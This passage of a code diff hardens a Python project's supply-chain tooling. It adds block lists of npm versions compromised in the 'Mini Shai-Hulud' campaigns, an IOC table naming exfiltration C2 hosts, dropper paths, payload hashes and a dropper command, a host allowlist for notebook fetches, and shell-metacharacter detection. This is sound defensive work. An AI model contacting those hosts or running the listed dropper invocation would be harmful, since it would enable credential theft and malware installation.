"@uipath/identity-tool": {"0.1.1"},
"@uipath/llmgw-tool": {"1.0.1"},
"@uipath/resourcecatalog-tool": {"0.1.1"},
"@uipath/functions-tool": {"1.0.1"},
"@uipath/access-policy-sdk": {"0.3.1"},
"@uipath/platform-tool": {"1.0.1"},
# Mini Shai-Hulud May-12 wave: @mistralai/* (npm) — separate from PyPI mistralai
# (https://www.aikido.dev/blog/mini-shai-hulud-is-back-tanstack-compromised).
"@mistralai/mistralai": {"2.2.2", "2.2.3", "2.2.4"},
"@mistralai/mistralai-gcp": {"1.7.1", "1.7.2", "1.7.3"},
"@mistralai/mistralai-azure": {"1.7.1", "1.7.2", "1.7.3"},
# Mini Shai-Hulud May-12 wave: @tallyui/* (30 entries, 10 packages)
# (Aikido enumeration).
"@tallyui/components": {"1.0.1", "1.0.2", "1.0.3"},
"@tallyui/connector-medusa": {"1.0.1", "1.0.2", "1.0.3"},
"@tallyui/connector-shopify": {"1.0.1", "1.0.2", "1.0.3"},
"@tallyui/connector-vendure": {"1.0.1", "1.0.2", "1.0.3"},
"@tallyui/connector-woocommerce": {"1.0.1", "1.0.2", "1.0.3"},
"@tallyui/core": {"0.2.1", "0.2.2", "0.2.3"},
"@tallyui/database": {"1.0.1", "1.0.2", "1.0.3"},
"@tallyui/pos": {"0.1.1", "0.1.2", "0.1.3"},
"@tallyui/storage-sqlite": {"0.2.1", "0.2.2", "0.2.3"},
"@tallyui/theme": {"0.2.1", "0.2.2", "0.2.3"},
# Mini Shai-Hulud May-12 wave: @beproduct/nestjs-auth (18 versions)
# (Aikido enumeration).
"@beproduct/nestjs-auth": {
"0.1.2",
"0.1.3",
"0.1.4",
"0.1.5",
"0.1.6",
"0.1.7",
"0.1.8",
"0.1.9",
"0.1.10",
"0.1.11",
"0.1.12",
"0.1.13",
"0.1.14",
"0.1.15",
"0.1.16",
"0.1.17",
"0.1.18",
"0.1.19",
},
# Mini Shai-Hulud May-12 wave: @draftlab/* + @draftauth/*
# (Aikido enumeration).
"@draftauth/client": {"0.2.1", "0.2.2"},
"@draftauth/core": {"0.13.1", "0.13.2"},
"@draftlab/auth": {"0.24.1", "0.24.2"},
"@draftlab/auth-router": {"0.5.1", "0.5.2"},
"@draftlab/db": {"0.16.1"},
# Mini Shai-Hulud May-12 wave: @taskflow-corp/cli + @tolka/cli
# (Aikido enumeration).
"@taskflow-corp/cli": {"0.1.24", "0.1.25", "0.1.26", "0.1.27", "0.1.28", "0.1.29"},
"@tolka/cli": {"1.0.2", "1.0.3", "1.0.4", "1.0.5", "1.0.6"},
# Mini Shai-Hulud May-12 wave: @ml-toolkit-ts/* + @mesadev/* + @dirigible-ai/sdk + @supersurkhet/*
# (Aikido enumeration).
"@dirigible-ai/sdk": {"0.6.2", "0.6.3"},
"@mesadev/rest": {"0.28.3"},
"@mesadev/saguaro": {"0.4.22"},
"@mesadev/sdk": {"0.28.3"},
"@ml-toolkit-ts/preprocessing": {"1.0.2", "1.0.3"},
"@ml-toolkit-ts/xgboost": {"1.0.3", "1.0.4"},
"@supersurkhet/cli": {"0.0.2", "0.0.3", "0.0.4", "0.0.5", "0.0.6", "0.0.7"},
"@supersurkhet/sdk": {"0.0.2", "0.0.3", "0.0.4", "0.0.5", "0.0.6", "0.0.7"},
# Mini Shai-Hulud May-12 wave: Unscoped packages (10 entries)
# (Aikido enumeration).
"safe-action": {"0.8.3", "0.8.4"},
"ts-dna": {"3.0.1", "3.0.2", "3.0.3", "3.0.4"},
"cross-stitch": {"1.1.3", "1.1.4", "1.1.5", "1.1.6"},
"cmux-agent-mcp": {"0.1.3", "0.1.4", "0.1.5", "0.1.6", "0.1.7", "0.1.8"},
"agentwork-cli": {"0.1.4", "0.1.5"},
"git-branch-selector": {"1.3.3", "1.3.4", "1.3.5", "1.3.6", "1.3.7"},
"wot-api": {"0.8.1", "0.8.2", "0.8.3", "0.8.4"},
"git-git-git": {"1.0.8", "1.0.9", "1.0.10", "1.0.11", "1.0.12"},
"nextmove-mcp": {"0.1.3", "0.1.4", "0.1.5", "0.1.6", "0.1.7"},
"ml-toolkit-ts": {"1.0.4", "1.0.5"},
# Cross-ecosystem Mini Shai-Hulud (Apr-30 wave): npm counterpart of
# PyPI lightning 2.6.2/2.6.3. Same threat actor (TeamPCP) per Semgrep,
# Aikido, OX Security, Resecurity. Safe version: 7.0.3 and earlier.
"intercom-client": {"7.0.4"},
}
CARGO_IOC_STRINGS: tuple[str, ...] = (
# Reserved for future cargo-side incidents. Empty by default --
# `source` origin check below catches the structural pattern.
@ -262,7 +492,24 @@ def audit_npm_lockfile(path: Path) -> list[Finding]:
)
)
# 3. Known IOC strings: scan the raw file body so we hit fields the
# 3. Blocked malicious version list.
nm_prefix = "node_modules/"
pkg_name = key[len(nm_prefix) :] if key.startswith(nm_prefix) else key
version = entry.get("version")
blocked = BLOCKED_NPM_VERSIONS.get(pkg_name, set())
if version and version in blocked:
findings.append(
Finding(
path = str(path),
package = key,
kind = "blocked-known-malicious",
detail = (
f"{pkg_name}@{version} is on the " "BLOCKED_NPM_VERSIONS list"
),
)
)
# 4. Known IOC strings: scan the raw file body so we hit fields the
# structural pass above doesn't enumerate (scripts, optional
# dependencies, etc.). Cheap and complete.
for ioc in NPM_IOC_STRINGS:
@ -438,13 +685,34 @@ def main(argv: list[str] | None = None) -> int:
)
args = parser.parse_args(argv)
if os.environ.get("UNSLOTH_LOCKFILE_AUDIT_SKIP") == "1":
print(
"[lockfile-audit] UNSLOTH_LOCKFILE_AUDIT_SKIP=1; "
"audit skipped (expected only for local triage)",
flush = True,
)
return 0
# SF4: require a real justification (e.g. JIRA ticket id) for the
# skip env var. Treat the trivially-set values ("1", "true", "yes",
# "on", empty) as INVALID -- they look like accidental flips and
# silently bypassed the supply-chain audit. A valid value is a
# non-empty string >=5 chars after stripping that does not match
# any of the boolean-shaped tokens above. An invalid value emits a
# loud GitHub Actions warning to stderr and FALLS THROUGH to run
# the audit normally (fail-safe). A valid value emits a warning
# naming the reason and skips with rc=0 (compat).
_skip_raw = os.environ.get("UNSLOTH_LOCKFILE_AUDIT_SKIP")
if _skip_raw is not None:
_skip = _skip_raw.strip()
_invalid_tokens = {"", "1", "0", "true", "false", "yes", "no", "on", "off"}
if _skip.lower() in _invalid_tokens or len(_skip) < 5:
print(
"::warning::Lockfile audit skip REQUIRES a justification "
f"value (>=5 chars, not '{_skip_raw}'). Proceeding with "
"audit. Use e.g. UNSLOTH_LOCKFILE_AUDIT_SKIP=ticket-1234.",
file = sys.stderr,
flush = True,
)
else:
print(
f"::warning::Lockfile audit skipped: reason='{_skip}'",
file = sys.stderr,
flush = True,
)
return 0
root = Path(args.root).resolve()
npm_paths = [root / p for p in (args.npm_lockfile or DEFAULT_NPM_LOCKFILES)]

View file

@ -14,6 +14,7 @@ Converts IPython magics to plain Python:
import nbformat
import re
import shlex
import sys
import os
import urllib.request
@ -21,6 +22,22 @@ import urllib.parse
from pathlib import Path
# Hosts we are willing to fetch raw notebook JSON from. Anything else
# is rejected before `urlopen` so a typoed / hostile URL cannot pull
# code from arbitrary infrastructure.
_ALLOWED_NOTEBOOK_HOSTS = {
"raw.githubusercontent.com",
"gist.githubusercontent.com",
}
# Shell metacharacters that imply the cell's `!cmd` line cannot be
# parsed as a flat argv. If any of these appears, `shlex.split` would
# either fail or, worse, silently strip the operator -- so we keep
# `shell=True` for that command and emit a review marker.
_SHELL_METACHARS_RE = re.compile(r"\$\(|`|\|\||\||&&|>>?|<<?|\*|\?|;")
def needs_fstring(cmd: str) -> bool:
"""Check if command has Python variable interpolation like {var_name}."""
pattern = r"(?<!\$)\{([a-zA-Z_][a-zA-Z0-9_]*)\}"
@ -53,6 +70,18 @@ def download_notebook(url: str) -> tuple[str, str]:
parsed = urllib.parse.urlparse(raw_url)
filename = os.path.basename(urllib.parse.unquote(parsed.path))
# Host allowlist. Refuse to fetch from anywhere the campaign IOC
# tables flag (or just anywhere we don't recognise). The blob->raw
# conversion above only emits `raw.githubusercontent.com`, so a
# rejection here means the caller hand-typed a URL pointing
# somewhere we don't trust.
host = parsed.hostname
if host not in _ALLOWED_NOTEBOOK_HOSTS:
raise ValueError(
f"Refused notebook fetch from {host!r}: not in allowlist "
f"{sorted(_ALLOWED_NOTEBOOK_HOSTS)}"
)
# Download
print(f"Downloading {url}...")
with urllib.request.urlopen(raw_url, timeout = 60) as response:
@ -74,7 +103,52 @@ def replace_colab_paths(source: str) -> str:
return source
def convert_cell_to_python(source: str) -> str:
def _emit_shell_command(indent: str, full_cmd: str, *, allow_shell: bool) -> list[str]:
"""Render a `!cmd` notebook line as one or more Python statements.
When the command body is f-string-interpolated, contains shell
metacharacters, or spans multiple lines, falling back to
`shell=True` is the only correct option -- `shlex.split` would
either drop operators or fail outright. We surface that with a
`# WARNING: shell=True; reviewed for hostile input` comment so a
reviewer cannot miss it.
Otherwise we emit `subprocess.run(shlex.split(cmd), shell=False)`
so the converted script is not a re-injection vector if the
notebook ever interpolates user-controlled data.
`allow_shell` defaults to True at the CLI for backwards
compatibility. Setting it to False makes `shell=True` emission a
hard error (no surprise behaviour).
"""
needs_f = needs_fstring(full_cmd)
has_meta = bool(_SHELL_METACHARS_RE.search(full_cmd))
multiline = "\n" in full_cmd
must_use_shell = needs_f or has_meta or multiline
if must_use_shell:
if not allow_shell:
raise ValueError(
"Cell uses shell metacharacters / interpolation but "
"--no-allow-shell was set; refusing to emit shell=True"
)
warn = f"{indent}# WARNING: shell=True; reviewed for hostile input"
f_prefix = "f" if needs_f else ""
if multiline:
escaped_cmd = full_cmd.replace('"""', r"\"\"\"")
if escaped_cmd.rstrip().endswith('"'):
escaped_cmd = escaped_cmd.rstrip() + " "
stmt = f'{indent}subprocess.run({f_prefix}"""{escaped_cmd}""", shell=True)'
else:
stmt = f"{indent}subprocess.run({f_prefix}{full_cmd!r}, shell=True)"
return [warn, stmt]
# Shell-safe argv form.
return [f"{indent}subprocess.run(shlex.split({full_cmd!r}), shell=False)"]
def convert_cell_to_python(source: str, *, allow_shell: bool = True) -> str:
"""Convert a cell's IPython magics to plain Python."""
lines = source.split("\n")
result = []
@ -112,18 +186,9 @@ def convert_cell_to_python(source: str) -> str:
cmd_lines.append(lines[i].strip())
full_cmd = "\n".join(cmd_lines)
f_prefix = "f" if needs_fstring(full_cmd) else ""
if "\n" in full_cmd:
escaped_cmd = full_cmd.replace('"""', r"\"\"\"")
if escaped_cmd.rstrip().endswith('"'):
escaped_cmd = escaped_cmd.rstrip() + " "
result.append(
f'{indent}subprocess.run({f_prefix}"""{escaped_cmd}""", shell=True)'
)
else:
result.append(
f"{indent}subprocess.run({f_prefix}{full_cmd!r}, shell=True)"
)
result.extend(
_emit_shell_command(indent, full_cmd, allow_shell = allow_shell)
)
# %cd path -> os.chdir(path)
elif stripped.startswith("%cd "):
@ -154,7 +219,12 @@ def convert_cell_to_python(source: str) -> str:
return "\n".join(result)
def convert_notebook(notebook_content: str, source_name: str = "notebook") -> str:
def convert_notebook(
notebook_content: str,
source_name: str = "notebook",
*,
allow_shell: bool = True,
) -> str:
"""Convert notebook JSON content to Python script."""
# Parse notebook
if isinstance(notebook_content, str):
@ -167,6 +237,7 @@ def convert_notebook(notebook_content: str, source_name: str = "notebook") -> st
"# coding: utf-8",
f"# Converted from: {source_name}",
"",
"import shlex",
"import subprocess",
"import os",
"import sys",
@ -189,7 +260,7 @@ def convert_notebook(notebook_content: str, source_name: str = "notebook") -> st
continue
if cell.cell_type == "code":
converted = convert_cell_to_python(source)
converted = convert_cell_to_python(source, allow_shell = allow_shell)
converted = replace_colab_paths(converted)
lines.append(converted)
lines.append("")
@ -215,13 +286,20 @@ def convert_notebook(notebook_content: str, source_name: str = "notebook") -> st
return "\n".join(lines)
def convert_notebook_to_script(source: str, output_dir: str | None = None):
def convert_notebook_to_script(
source: str,
output_dir: str | None = None,
*,
allow_shell: bool = True,
):
"""
Convert a notebook to Python script.
Args:
source: Local file path or URL to notebook
output_dir: Output directory (optional, defaults to current directory)
allow_shell: When False, refuse to emit `shell=True` for any
`!cmd` cell that uses metacharacters / interpolation.
"""
if is_url(source):
content, filename = download_notebook(source)
@ -246,7 +324,7 @@ def convert_notebook_to_script(source: str, output_dir: str | None = None):
output_path = output_filename
# Convert
script = convert_notebook(content, source_name)
script = convert_notebook(content, source_name, allow_shell = allow_shell)
# Write output
with open(output_path, "w", encoding = "utf-8") as f:
@ -281,19 +359,56 @@ Examples:
parser.add_argument(
"-o", "--output", dest = "output_dir", default = ".", help = "Output directory."
)
# Default True for backwards compatibility: existing Colab notebooks
# routinely use pipes / redirection / interpolation in `!cmd` lines
# and the converted script needs to keep working. Operators who
# convert untrusted notebooks should pass --no-allow-shell to force
# a hard error on every metacharacter-bearing cell.
parser.add_argument(
"--allow-shell",
dest = "allow_shell",
action = "store_true",
default = True,
help = "Allow emitting subprocess.run(..., shell=True) for cells "
"that use shell metacharacters or interpolation (default).",
)
parser.add_argument(
"--no-allow-shell",
dest = "allow_shell",
action = "store_false",
help = "Refuse to emit shell=True; cells with metacharacters error out.",
)
args = parser.parse_args()
# Create output directory if needed
os.makedirs(args.output_dir, exist_ok = True)
# SF2: track per-notebook failures so a CI invocation that converts
# 10 notebooks but silently fails on 3 is no longer reported as
# success. Each failure is collected and the loop continues so the
# caller sees the full set; final exit status is 1 if anything
# failed.
failures: list[tuple[str, str]] = []
ok = 0
total = len(args.notebooks)
for source in args.notebooks:
try:
convert_notebook_to_script(
source, output_dir = args.output_dir if args.output_dir != "." else None
source,
output_dir = args.output_dir if args.output_dir != "." else None,
allow_shell = args.allow_shell,
)
ok += 1
except Exception as e:
print(f"ERROR converting {source}: {e}")
failures.append((source, f"{type(e).__name__}: {e}"))
print(
f"converted {ok}/{total}, {len(failures)} failed",
file = sys.stderr if failures else sys.stdout,
)
sys.exit(1 if failures else 0)
if __name__ == "__main__":

View file

@ -40,12 +40,38 @@ import re
import shlex
import subprocess
import sys
import tempfile
import textwrap
import time
import urllib.error
import urllib.request
from typing import Any, Iterable, Iterator
def _atomic_write_bytes(path: pathlib.Path, data: bytes) -> None:
"""Atomic write helper. See `scripts/scan_packages.py::update_req_file`.
A crash between `mkstemp` and `os.replace` leaves the prior file
untouched, so a half-downloaded PyPI metadata cache file cannot
poison subsequent runs of the validator.
"""
path.parent.mkdir(parents = True, exist_ok = True)
dirpath = str(path.parent) or "."
fd, tmp_path = tempfile.mkstemp(prefix = ".nb_val.", dir = dirpath)
try:
with os.fdopen(fd, "wb") as handle:
handle.write(data)
handle.flush()
os.fsync(handle.fileno())
os.replace(tmp_path, path)
except Exception:
try:
os.unlink(tmp_path)
except OSError:
pass
raise
HERE = pathlib.Path(__file__).resolve().parent
DATA_DIR = HERE / "data"
PYPI_CACHE_DIR = DATA_DIR / "pypi_cache"
@ -388,7 +414,7 @@ def pypi_metadata(name: str, version: str) -> dict[str, Any] | None:
data = json.loads(r.read())
except (urllib.error.URLError, urllib.error.HTTPError, TimeoutError):
return None
path.write_text(json.dumps(data))
_atomic_write_bytes(path, json.dumps(data).encode("utf-8"))
return data
@ -863,47 +889,72 @@ def cmd_drift(args: argparse.Namespace) -> int:
check = False,
capture_output = True,
)
try:
proc = subprocess.run(
[sys.executable, str(update_script)],
cwd = nbdir,
capture_output = True,
text = True,
timeout = 600,
)
except subprocess.TimeoutExpired:
print("FAIL: update_all_notebooks.py timed out (>600s)", file = sys.stderr)
return 2
if proc.returncode != 0:
print(
f"FAIL: update_all_notebooks.py exited {proc.returncode}", file = sys.stderr
)
sys.stderr.write(proc.stderr[-2000:])
return 2
diff_proc = subprocess.run(
["git", "-C", str(nbdir), "diff", "--stat"], capture_output = True, text = True
)
# SF3: the restore MUST run even on SystemExit / KeyboardInterrupt /
# segfault-propagated exception, otherwise the user's working tree
# silently stays rolled back into the stash. A bare try/finally
# (NOT try/except/finally) preserves the original exception and
# still runs the cleanup. The pre-existing try/except around
# `subprocess.run` of the updater is folded inside the new outer
# try so its early returns still happen, but the stash pop is
# protected.
findings: list[Finding] = []
if diff_proc.stdout.strip():
for line in diff_proc.stdout.splitlines():
findings.append(
Finding(
rule = "R-DRIFT-001",
file = line.strip(),
severity = "error",
message = "generator-vs-checked-in drift",
hint = "run `python update_all_notebooks.py` and commit the diff",
)
rc: int
try:
try:
proc = subprocess.run(
[sys.executable, str(update_script)],
cwd = nbdir,
capture_output = True,
text = True,
timeout = 600,
)
# Restore.
subprocess.run(
["git", "-C", str(nbdir), "checkout", "."], check = False, capture_output = True
)
subprocess.run(
["git", "-C", str(nbdir), "stash", "pop"], check = False, capture_output = True
)
except subprocess.TimeoutExpired:
print(
"FAIL: update_all_notebooks.py timed out (>600s)",
file = sys.stderr,
)
rc = 2
else:
if proc.returncode != 0:
print(
f"FAIL: update_all_notebooks.py exited {proc.returncode}",
file = sys.stderr,
)
sys.stderr.write(proc.stderr[-2000:])
rc = 2
else:
diff_proc = subprocess.run(
["git", "-C", str(nbdir), "diff", "--stat"],
capture_output = True,
text = True,
)
if diff_proc.stdout.strip():
for line in diff_proc.stdout.splitlines():
findings.append(
Finding(
rule = "R-DRIFT-001",
file = line.strip(),
severity = "error",
message = "generator-vs-checked-in drift",
hint = "run `python update_all_notebooks.py` and commit the diff",
)
)
rc = 0 if not findings else 1
finally:
# Restore the working tree. Both commands MUST run regardless of
# how the try block exited (including SystemExit/KeyboardInterrupt).
subprocess.run(
["git", "-C", str(nbdir), "checkout", "."],
check = False,
capture_output = True,
)
subprocess.run(
["git", "-C", str(nbdir), "stash", "pop"],
check = False,
capture_output = True,
)
_emit(findings)
return 0 if not findings else 1
return rc
# ----- Convert ----- #
@ -1096,7 +1147,7 @@ def cmd_refresh_colab(args: argparse.Namespace) -> int:
except (urllib.error.URLError, urllib.error.HTTPError, TimeoutError) as e:
print(f"FAIL: could not fetch {COLAB_PIP_FREEZE_URL}: {e}", file = sys.stderr)
return 2
out.write_bytes(data)
_atomic_write_bytes(out, data)
print(f"wrote {len(data)} bytes to {out}")
return 0

256
scripts/scan_npm_packages.py Executable file → Normal file
View file

@ -285,6 +285,250 @@ KNOWN_IOC_STRINGS: dict[str, tuple[str, str]] = {
# Exfil hosts observed across both Shai-Hulud waves.
"filev2.getsession.org": (CRITICAL, "exfiltration C2 host"),
"getsession.org/file/": (CRITICAL, "exfiltration C2 endpoint"),
# Mini Shai-Hulud May-12 2026 wave additions.
"git-tanstack.com": (CRITICAL, "May-12 dropper host"),
"transformers.pyz": (HIGH, "May-12 PyPI dropper artifact"),
"/tmp/transformers.pyz": (CRITICAL, "May-12 dropper drop path"),
"With Love TeamPCP": (CRITICAL, "May-12 campaign signature"),
"We've been online over 2 hours": (CRITICAL, "May-12 campaign signature"),
# Aikido (May-12 wave): payload SHA-256 hashes published in IOCs.
"ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c": (
HIGH,
"router_init.js payload SHA-256",
),
"2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96": (
HIGH,
"tanstack_runner.js payload SHA-256",
),
# The new dependency vector: optional dep -> Bun-executed prepare script.
"bun run tanstack_runner.js": (
CRITICAL,
"TanStack-wave Bun prepare-script dropper invocation",
),
"@tanstack/setup": (
CRITICAL,
"TanStack-wave optional-dep dropper carrier (no legit pkg of this name)",
),
}
# Hard pin-blocks for publicly confirmed malicious versions.
# name -> {malicious_versions...}. A match short-circuits the scan
# at the lockfile-walk stage; no tarball is fetched.
# keep in sync with scripts/lockfile_supply_chain_audit.py
BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {
# GHSA-g7cv-rxg3-hmpx -- TanStack May-11 2026 (84 versions).
"@tanstack/arktype-adapter": {"1.166.12", "1.166.15"},
"@tanstack/eslint-plugin-router": {"1.161.9", "1.161.12"},
"@tanstack/eslint-plugin-start": {"0.0.4", "0.0.7"},
"@tanstack/history": {"1.161.9", "1.161.12"},
"@tanstack/nitro-v2-vite-plugin": {"1.154.12", "1.154.15"},
"@tanstack/react-router": {"1.169.5", "1.169.8"},
"@tanstack/react-router-devtools": {"1.166.16", "1.166.19"},
"@tanstack/react-router-ssr-query": {"1.166.15", "1.166.18"},
"@tanstack/react-start": {"1.167.68", "1.167.71"},
"@tanstack/react-start-client": {"1.166.51", "1.166.54"},
"@tanstack/react-start-rsc": {"0.0.47", "0.0.50"},
"@tanstack/react-start-server": {"1.166.55", "1.166.58"},
"@tanstack/router-cli": {"1.166.46", "1.166.49"},
"@tanstack/router-core": {"1.169.5", "1.169.8"},
"@tanstack/router-devtools": {"1.166.16", "1.166.19"},
"@tanstack/router-devtools-core": {"1.167.6", "1.167.9"},
"@tanstack/router-generator": {"1.166.45", "1.166.48"},
"@tanstack/router-plugin": {"1.167.38", "1.167.41"},
"@tanstack/router-ssr-query-core": {"1.168.3", "1.168.6"},
"@tanstack/router-utils": {"1.161.11", "1.161.14"},
"@tanstack/router-vite-plugin": {"1.166.53", "1.166.56"},
"@tanstack/solid-router": {"1.169.5", "1.169.8"},
"@tanstack/solid-router-devtools": {"1.166.16", "1.166.19"},
"@tanstack/solid-router-ssr-query": {"1.166.15", "1.166.18"},
"@tanstack/solid-start": {"1.167.65", "1.167.68"},
"@tanstack/solid-start-client": {"1.166.50", "1.166.53"},
"@tanstack/solid-start-server": {"1.166.54", "1.166.57"},
"@tanstack/start-client-core": {"1.168.5", "1.168.8"},
"@tanstack/start-fn-stubs": {"1.161.9", "1.161.12"},
"@tanstack/start-plugin-core": {"1.169.23", "1.169.26"},
"@tanstack/start-server-core": {"1.167.33", "1.167.36"},
"@tanstack/start-static-server-functions": {"1.166.44", "1.166.47"},
"@tanstack/start-storage-context": {"1.166.38", "1.166.41"},
"@tanstack/valibot-adapter": {"1.166.12", "1.166.15"},
"@tanstack/virtual-file-routes": {"1.161.10", "1.161.13"},
"@tanstack/vue-router": {"1.169.5", "1.169.8"},
"@tanstack/vue-router-devtools": {"1.166.16", "1.166.19"},
"@tanstack/vue-router-ssr-query": {"1.166.15", "1.166.18"},
"@tanstack/vue-start": {"1.167.61", "1.167.64"},
"@tanstack/vue-start-client": {"1.166.46", "1.166.49"},
"@tanstack/vue-start-server": {"1.166.50", "1.166.53"},
"@tanstack/zod-adapter": {"1.166.12", "1.166.15"},
# Mini Shai-Hulud May-12 wave: OpenSearch JS client.
"@opensearch-project/opensearch": {"3.5.3", "3.6.2", "3.7.0", "3.8.0"},
# Mini Shai-Hulud May-12 wave: @squawk/* (22 packages, 5 versions each;
# https://safedep.io/mass-npm-supply-chain-attack-tanstack-mistral/).
"@squawk/airport-data": {"0.7.4", "0.7.5", "0.7.6", "0.7.7", "0.7.8"},
"@squawk/airports": {"0.6.2", "0.6.3", "0.6.4", "0.6.5", "0.6.6"},
"@squawk/airspace": {"0.8.1", "0.8.2", "0.8.3", "0.8.4", "0.8.5"},
"@squawk/airspace-data": {"0.5.3", "0.5.4", "0.5.5", "0.5.6", "0.5.7"},
"@squawk/airway-data": {"0.5.4", "0.5.5", "0.5.6", "0.5.7", "0.5.8"},
"@squawk/airways": {"0.4.2", "0.4.3", "0.4.4", "0.4.5", "0.4.6"},
"@squawk/fix-data": {"0.6.4", "0.6.5", "0.6.6", "0.6.7", "0.6.8"},
"@squawk/fixes": {"0.3.2", "0.3.3", "0.3.4", "0.3.5", "0.3.6"},
"@squawk/flight-math": {"0.5.4", "0.5.5", "0.5.6", "0.5.7", "0.5.8"},
"@squawk/flightplan": {"0.5.2", "0.5.3", "0.5.4", "0.5.5", "0.5.6"},
"@squawk/geo": {"0.4.4", "0.4.5", "0.4.6", "0.4.7", "0.4.8"},
"@squawk/icao-registry": {"0.5.2", "0.5.3", "0.5.4", "0.5.5", "0.5.6"},
"@squawk/icao-registry-data": {"0.8.4", "0.8.5", "0.8.6", "0.8.7", "0.8.8"},
"@squawk/mcp": {"0.9.1", "0.9.2", "0.9.3", "0.9.4", "0.9.5"},
"@squawk/navaid-data": {"0.6.4", "0.6.5", "0.6.6", "0.6.7", "0.6.8"},
"@squawk/navaids": {"0.4.2", "0.4.3", "0.4.4", "0.4.5", "0.4.6"},
"@squawk/notams": {"0.3.6", "0.3.7", "0.3.8", "0.3.9", "0.3.10"},
"@squawk/procedure-data": {"0.7.3", "0.7.4", "0.7.5", "0.7.6", "0.7.7"},
"@squawk/procedures": {"0.5.2", "0.5.3", "0.5.4", "0.5.5", "0.5.6"},
"@squawk/types": {"0.8.1", "0.8.2", "0.8.3", "0.8.4", "0.8.5"},
"@squawk/units": {"0.4.3", "0.4.4", "0.4.5", "0.4.6", "0.4.7"},
"@squawk/weather": {"0.5.6", "0.5.7", "0.5.8", "0.5.9", "0.5.10"},
# Mini Shai-Hulud May-12 wave: @uipath/* (64 packages, single version each;
# https://www.aikido.dev/blog/mini-shai-hulud-is-back-tanstack-compromised).
"@uipath/apollo-react": {"4.24.5"},
"@uipath/apollo-wind": {"2.16.2"},
"@uipath/cli": {"1.0.1"},
"@uipath/rpa-tool": {"0.9.5"},
"@uipath/apollo-core": {"5.9.2"},
"@uipath/filesystem": {"1.0.1"},
"@uipath/solutionpackager-tool-core": {"0.0.34"},
"@uipath/solution-tool": {"1.0.1"},
"@uipath/maestro-tool": {"1.0.1"},
"@uipath/codedapp-tool": {"1.0.1"},
"@uipath/agent-tool": {"1.0.1"},
"@uipath/orchestrator-tool": {"1.0.1"},
"@uipath/integrationservice-tool": {"1.0.2"},
"@uipath/rpa-legacy-tool": {"1.0.1"},
"@uipath/vertical-solutions-tool": {"1.0.1"},
"@uipath/flow-tool": {"1.0.2"},
"@uipath/codedagent-tool": {"1.0.1"},
"@uipath/common": {"1.0.1"},
"@uipath/resource-tool": {"1.0.1"},
"@uipath/auth": {"1.0.1"},
"@uipath/docsai-tool": {"1.0.1"},
"@uipath/case-tool": {"1.0.1"},
"@uipath/api-workflow-tool": {"1.0.1"},
"@uipath/test-manager-tool": {"1.0.2"},
"@uipath/robot": {"1.3.4"},
"@uipath/traces-tool": {"1.0.1"},
"@uipath/agent-sdk": {"1.0.2"},
"@uipath/integrationservice-sdk": {"1.0.2"},
"@uipath/maestro-sdk": {"1.0.1"},
"@uipath/data-fabric-tool": {"1.0.2"},
"@uipath/tasks-tool": {"1.0.1"},
"@uipath/insights-tool": {"1.0.1"},
"@uipath/insights-sdk": {"1.0.1"},
"@uipath/uipath-python-bridge": {"1.0.1"},
"@uipath/ap-chat": {"1.5.7"},
"@uipath/project-packager": {"1.1.16"},
"@uipath/packager-tool-case": {"0.0.9"},
"@uipath/packager-tool-workflowcompiler-browser": {"0.0.34"},
"@uipath/packager-tool-connector": {"0.0.19"},
"@uipath/packager-tool-workflowcompiler": {"0.0.16"},
"@uipath/packager-tool-webapp": {"1.0.6"},
"@uipath/packager-tool-apiworkflow": {"0.0.19"},
"@uipath/packager-tool-functions": {"0.1.1"},
"@uipath/widget.sdk": {"1.2.3"},
"@uipath/resources-tool": {"0.1.11"},
"@uipath/agent.sdk": {"0.0.18"},
"@uipath/codedagents-tool": {"0.1.12"},
"@uipath/aops-policy-tool": {"0.3.1"},
"@uipath/solution-packager": {"0.0.35"},
"@uipath/packager-tool-bpmn": {"0.0.9"},
"@uipath/packager-tool-flow": {"0.0.19"},
"@uipath/telemetry": {"0.0.7"},
"@uipath/tool-workflowcompiler": {"0.0.12"},
"@uipath/vss": {"0.1.6"},
"@uipath/solutionpackager-sdk": {"1.0.11"},
"@uipath/ui-widgets-multi-file-upload": {"1.0.1"},
"@uipath/access-policy-tool": {"0.3.1"},
"@uipath/context-grounding-tool": {"0.1.1"},
"@uipath/gov-tool": {"0.3.1"},
"@uipath/admin-tool": {"0.1.1"},
"@uipath/identity-tool": {"0.1.1"},
"@uipath/llmgw-tool": {"1.0.1"},
"@uipath/resourcecatalog-tool": {"0.1.1"},
"@uipath/functions-tool": {"1.0.1"},
"@uipath/access-policy-sdk": {"0.3.1"},
"@uipath/platform-tool": {"1.0.1"},
# Mini Shai-Hulud May-12 wave: @mistralai/* (npm) — separate from PyPI mistralai
# (https://www.aikido.dev/blog/mini-shai-hulud-is-back-tanstack-compromised).
"@mistralai/mistralai": {"2.2.2", "2.2.3", "2.2.4"},
"@mistralai/mistralai-gcp": {"1.7.1", "1.7.2", "1.7.3"},
"@mistralai/mistralai-azure": {"1.7.1", "1.7.2", "1.7.3"},
# Mini Shai-Hulud May-12 wave: @tallyui/* (30 entries, 10 packages)
# (Aikido enumeration).
"@tallyui/components": {"1.0.1", "1.0.2", "1.0.3"},
"@tallyui/connector-medusa": {"1.0.1", "1.0.2", "1.0.3"},
"@tallyui/connector-shopify": {"1.0.1", "1.0.2", "1.0.3"},
"@tallyui/connector-vendure": {"1.0.1", "1.0.2", "1.0.3"},
"@tallyui/connector-woocommerce": {"1.0.1", "1.0.2", "1.0.3"},
"@tallyui/core": {"0.2.1", "0.2.2", "0.2.3"},
"@tallyui/database": {"1.0.1", "1.0.2", "1.0.3"},
"@tallyui/pos": {"0.1.1", "0.1.2", "0.1.3"},
"@tallyui/storage-sqlite": {"0.2.1", "0.2.2", "0.2.3"},
"@tallyui/theme": {"0.2.1", "0.2.2", "0.2.3"},
# Mini Shai-Hulud May-12 wave: @beproduct/nestjs-auth (18 versions)
# (Aikido enumeration).
"@beproduct/nestjs-auth": {
"0.1.2",
"0.1.3",
"0.1.4",
"0.1.5",
"0.1.6",
"0.1.7",
"0.1.8",
"0.1.9",
"0.1.10",
"0.1.11",
"0.1.12",
"0.1.13",
"0.1.14",
"0.1.15",
"0.1.16",
"0.1.17",
"0.1.18",
"0.1.19",
},
# Mini Shai-Hulud May-12 wave: @draftlab/* + @draftauth/*
# (Aikido enumeration).
"@draftauth/client": {"0.2.1", "0.2.2"},
